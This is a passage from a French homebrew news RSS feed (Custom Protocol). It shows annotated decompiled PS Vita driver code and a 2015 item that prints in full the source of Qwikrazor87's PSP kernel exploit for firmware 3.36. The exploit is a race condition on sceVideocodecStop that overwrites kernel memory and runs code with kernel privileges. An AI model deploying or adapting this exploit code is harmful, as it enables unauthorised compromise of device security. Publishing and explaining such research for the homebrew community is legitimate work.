				return 0; //malheureusement, on ne l'obtient pas ici, mais continuez de lire
			if(0x80000000 &amp; ((((data-&gt;p44&nbsp;+&nbsp;(data-&gt;v60 * 44))) | data-&gt;p44) | (data-&gt;v60 * 44)) &gt;= 0)
			{		
				if(0x80000000 &amp; ((data-&gt;p48&nbsp;+&nbsp;100) | data-&gt;p48) &gt;= 0)
				{
					if(0x80000000 &amp; (((data-&gt;p56&nbsp;+&nbsp;data-&gt;v60 * 328) | data-&gt;p56) | (data-&gt;v60 * 328)) &gt;= 0)
						return 0; //youpi
				};
			};
		};
	};
	//on ne veut pas arriver ici
	return 0x80000023;
};
int sceMeWrapper_driver_4D78330C(int flag, t_data * data)
{
	if(data-&gt;v0 &gt; 0x05100601) // il est nécessaire de faire ce data-&gt;v0&nbsp;=&nbsp;0x05100601 pour s'amuser
		return -2;
		
	data-&gt;v8&nbsp;=&nbsp;0;
	if(flag == 0)
	{
		if(data-&gt;v60 - 1 &gt;= 4)
			return -1;
		
		//Si data-&gt;v60 est égal à 1 alors le compteur sera à 0
		int count&nbsp;=&nbsp;data-&gt;v60 - 1;
		if(data-&gt;p56)
		{
			//c'est affreux ici, mieux vaut voir du côté de la condition "else" (d'ailleurs, ou pourrait aussi faire un kernel exploit ici)
			void * address&nbsp;=&nbsp;count * 44&nbsp;+&nbsp;data-&gt;p44;
			unsigned value&nbsp;=&nbsp;count * 328&nbsp;+&nbsp;data-&gt;p56;
			
			for(int i&nbsp;=&nbsp;count; i &gt; 0; i--)
			{
				*(address&nbsp;+&nbsp;36)&nbsp;=&nbsp;value;
				*(address&nbsp;+&nbsp;40)&nbsp;=&nbsp;value&nbsp;+&nbsp;164;
				
				value -= 328;
				address -= 44;
			};
		}
		else //cela signifie que si data-&gt;p56 est nul
		{
			//si le compteur est à 0 alors l'adresse sera data-&gt;p44
			void * address&nbsp;=&nbsp;count * 44&nbsp;+&nbsp;data-&gt;p44;
			
			for(int i&nbsp;=&nbsp;count; i &gt; 0; i--)
			{
				*(address&nbsp;+&nbsp;36)&nbsp;=&nbsp;0; 
				*(address&nbsp;+&nbsp;40)&nbsp;=&nbsp;0; 
				address -= 44;
			};
			
			//nous avons sauté 2 instructions ici, ce afin de ne pas "casser" le code et d'assigner 0 au compteur
			//le pointillage data-&gt;p44 à (ADDRESS - 36) va nous permettre de sauter ADDRESS et (ADDRESS&nbsp;+&nbsp;4)
		};
		
		int result2&nbsp;=&nbsp;sceMeWrapper_driver_635397BB(3, data-&gt;p12, data-&gt;p16, data-&gt;p44);
		
		if(result2 &gt;= 0)
			return 0;
			
		return sub_00001194(data, result2);
	}
	else if(flag&#8239;!= 1)
		return -1;
	int result&nbsp;=&nbsp;sceMeWrapper_driver_635397BB(33, data-&gt;v12);
	
	if(result)
		return sub_000011C4(data, result);
	
	return 0;
};</pre>
<p>&nbsp;</p>
<p>L’article <a rel="nofollow" href="https://www.customprotocol.com/programmation/le-code-source-du-kernel-exploit-psp-qwikrazor87-explique/">Le code source du kernel exploit PSP de Qwikrazor87 expliqué</a> est apparu en premier sur <a rel="nofollow" href="https://www.customprotocol.com">Custom Protocol</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.customprotocol.com/programmation/le-code-source-du-kernel-exploit-psp-qwikrazor87-explique/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Qwikrazor87 publie le code source de son kernel exploit pour firmware 3.36</title>
		<link>https://www.customprotocol.com/programmation/qwikrazor87-publie-le-code-source-de-son-kernel-exploit-pour-firmware-3-36/</link>
					<comments>https://www.customprotocol.com/programmation/qwikrazor87-publie-le-code-source-de-son-kernel-exploit-pour-firmware-3-36/#respond</comments>
		
		<dc:creator><![CDATA[Wirus]]></dc:creator>
		<pubDate>Fri, 27 Feb 2015 21:23:00 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[News Programmation]]></category>
		<category><![CDATA[News Underground]]></category>
		<category><![CDATA[Programmation]]></category>
		<category><![CDATA[Underground]]></category>
		<guid isPermaLink="false">https://www.customprotocol.com/?post_type=it_underground&#038;p=2812</guid>
					<description><![CDATA[<p>Le code source de l'émulateur PSP basé sur le kernel exploit pour 3.36 de Qwikrazor87 est désormais publique.</p>
<p>L’article <a rel="nofollow" href="https://www.customprotocol.com/programmation/qwikrazor87-publie-le-code-source-de-son-kernel-exploit-pour-firmware-3-36/">Qwikrazor87 publie le code source de son kernel exploit pour firmware 3.36</a> est apparu en premier sur <a rel="nofollow" href="https://www.customprotocol.com">Custom Protocol</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><em>Qwikrazer87</em> - que l'on ne présente plus - vient de publier à tout le monde le code source de son <strong>exploit kernel PSP</strong> tournant sur les PS Vita en <em>firmware</em> 3.36 (le dernier à l'heure actuelle). Bien évidemment réservé aux développeurs les plus aguerris ou les plus curieux, cet émulateur PSP utilise une vulnérabilité au niveau de la fonction <em>sceVideocodecStop</em>, dont l'auteur avait déjà parlé une fois en janvier sur son compte <em>Twitter </em>:</p>
<div align="center">
<blockquote class="twitter-tweet" lang="fr">
<p>props to anyone that can exploit sceVideocodecStop on 3.30+ (which will then allow the other "patched" exploits to work)&nbsp;<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>— qwikrazor87 (@qwikrazor87) <a href="https://twitter.com/qwikrazor87/status/560590515964375040">29 Janvier 2015</a></p>
</blockquote>
</div>
<p>
<script src="//platform.twitter.com/widgets.js" async="" charset="utf-8"></script>
</p>
<p style="text-align: justify;">Cette vulnérabilité consiste en un remplissage de la mémoire tampon d'une vidéo à l'aide d'un contenu spécifique, et semble s'appuyer sur une situation de compétition (ou <em>race condition</em>) où le contenu de la mémoire tampon est modifié dans une tâche (<em>thread</em>) à part tandis que la fonction <em>sceVideoCodecStop</em> est appelée. Si vous n'avez rien compris, ce n'est pas grave, regardez tout de même en bas par curiosité.&nbsp;<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f61b.png" alt="😛" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<pre class="lang:default decode:true">#include 
u32 sceMeCodecWrapper&nbsp;=&nbsp;0x88136800, sw_address&nbsp;=&nbsp;0;
int is_exploited&nbsp;=&nbsp;0, running&nbsp;=&nbsp;1;
u32 a0[24];
int storethread()
{
	while (running == 1) {
		a0[11]&nbsp;=&nbsp;sw_address;
		sceKernelDelayThread(1);
	}
	sceKernelExitThread(0);
}
void KernelContent()
{
	is_exploited&nbsp;=&nbsp;1;
	__asm("move&nbsp;$k1,&nbsp;$0;");
	//"restore" me_wrapper mutex UID
	SceUID (* _sceKernelCreateMutex)(const char *name, u32 attr, int init_count, void *options)&nbsp;=&nbsp;\
		(void *)FindExport("sceThreadManager", "ThreadManForUser", 0xB7D098C6);
	SceUID mutex&nbsp;=&nbsp;_sceKernelCreateMutex("SceKermitMe", 256, 0, NULL);
	_sw(mutex, sceMeCodecWrapper&nbsp;+&nbsp;0x2F80);
	//sceKernelLibcTime - pass address of kernel function in first arg, restored later in ARK code. |:
	_sw(0x00800008, 0x8800F9C4);	//jr	$a0
	_sw(0, 0x8800F9C8);		//nop
	void (* _sceKernelDcacheWritebackInvalidateAll)(void)&nbsp;=&nbsp;(void *)0x88000744;
	void (* _sceKernelIcacheInvalidateAll)(void)&nbsp;=&nbsp;(void *)0x88000E98;
	_sceKernelDcacheWritebackInvalidateAll();
	_sceKernelIcacheInvalidateAll();
}
void do_exploit()
{
	is_exploited&nbsp;=&nbsp;0;
	running&nbsp;=&nbsp;1;
	sw_address&nbsp;=&nbsp;(sceMeCodecWrapper&nbsp;+&nbsp;0x2F80) - 36;
	SceUID thid&nbsp;=&nbsp;sceKernelCreateThread("thid", storethread, 8, 512, THREAD_ATTR_USER, NULL);
	sceKernelStartThread(thid, 0, NULL);
	sceUtilityLoadModule(0x300);
	sceUtilityLoadModule(0x303);
	int (* sceVideocodecStop)(u32 *a0, int a1)&nbsp;=&nbsp;(void *)FindImport("sceVideocodec", 0xA2F0564E, 0);
	memset(a0, 0, sizeof(a0));
	a0[0]&nbsp;=&nbsp;0x05100601;
	a0[15]&nbsp;=&nbsp;1;
	int i;
	while (a0[2]&#8239;!= 0x800201C3) {
		a0[15]&nbsp;=&nbsp;1;
		a0[3]&nbsp;=&nbsp;0x09000000;
		a0[4]&nbsp;=&nbsp;0x09000000;
		a0[2]&nbsp;=&nbsp;0;
		a0[11]&nbsp;=&nbsp;0x09000000;
		sceVideocodecStop(a0, 0);
	}
	fillvram(-1);
	sw_address&nbsp;=&nbsp;0x8800F9C4 - 36;
	int (* _sceKernelLibcTime)(u32, u32)&nbsp;=&nbsp;(void *)sceKernelLibcTime;
	while (is_exploited&#8239;!= 1) {
		a0[15]&nbsp;=&nbsp;1;
		a0[11]&nbsp;=&nbsp;0x09000000;
		a0[3]&nbsp;=&nbsp;0x09000000;
		a0[4]&nbsp;=&nbsp;0x09000000;
		sceVideocodecStop(a0, 0);
		sceKernelDcacheWritebackAll();
		_sceKernelLibcTime(0x08800000, ((u32)&amp;KernelContent | 0x80000000));
	}
	fillvram(0xFF00);
	running&nbsp;=&nbsp;0;
	u8 buf[0x4000];
	SceUID fd&nbsp;=&nbsp;sceIoOpen("ms0:/PSP/SAVEDATA/NPUG80320KEXPLOIT/ARK.BIN", PSP_O_RDONLY, 0777);
	sceIoRead(fd, buf, sizeof(buf));
	sceIoClose(fd);
	memcpy((void *)0x10000, buf, sizeof(buf));
	sceKernelDcacheWritebackAll();
	void (* Start)(const char *)&nbsp;=&nbsp;(void *)0x10000;
	Start("ms0:/PSP/SAVEDATA/NPUG80320KEXPLOIT/");
}
void _start() __attribute__ ((section (".text.start")));
void _start()
{
	fillvram(0x80808080);
	do_exploit();
	sceKernelExitGame();
}</pre>
<p>L’article <a rel="nofollow" href="https://www.customprotocol.com/programmation/qwikrazor87-publie-le-code-source-de-son-kernel-exploit-pour-firmware-3-36/">Qwikrazor87 publie le code source de son kernel exploit pour firmware 3.36</a> est apparu en premier sur <a rel="nofollow" href="https://www.customprotocol.com">Custom Protocol</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.customprotocol.com/programmation/qwikrazor87-publie-le-code-source-de-son-kernel-exploit-pour-firmware-3-36/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>

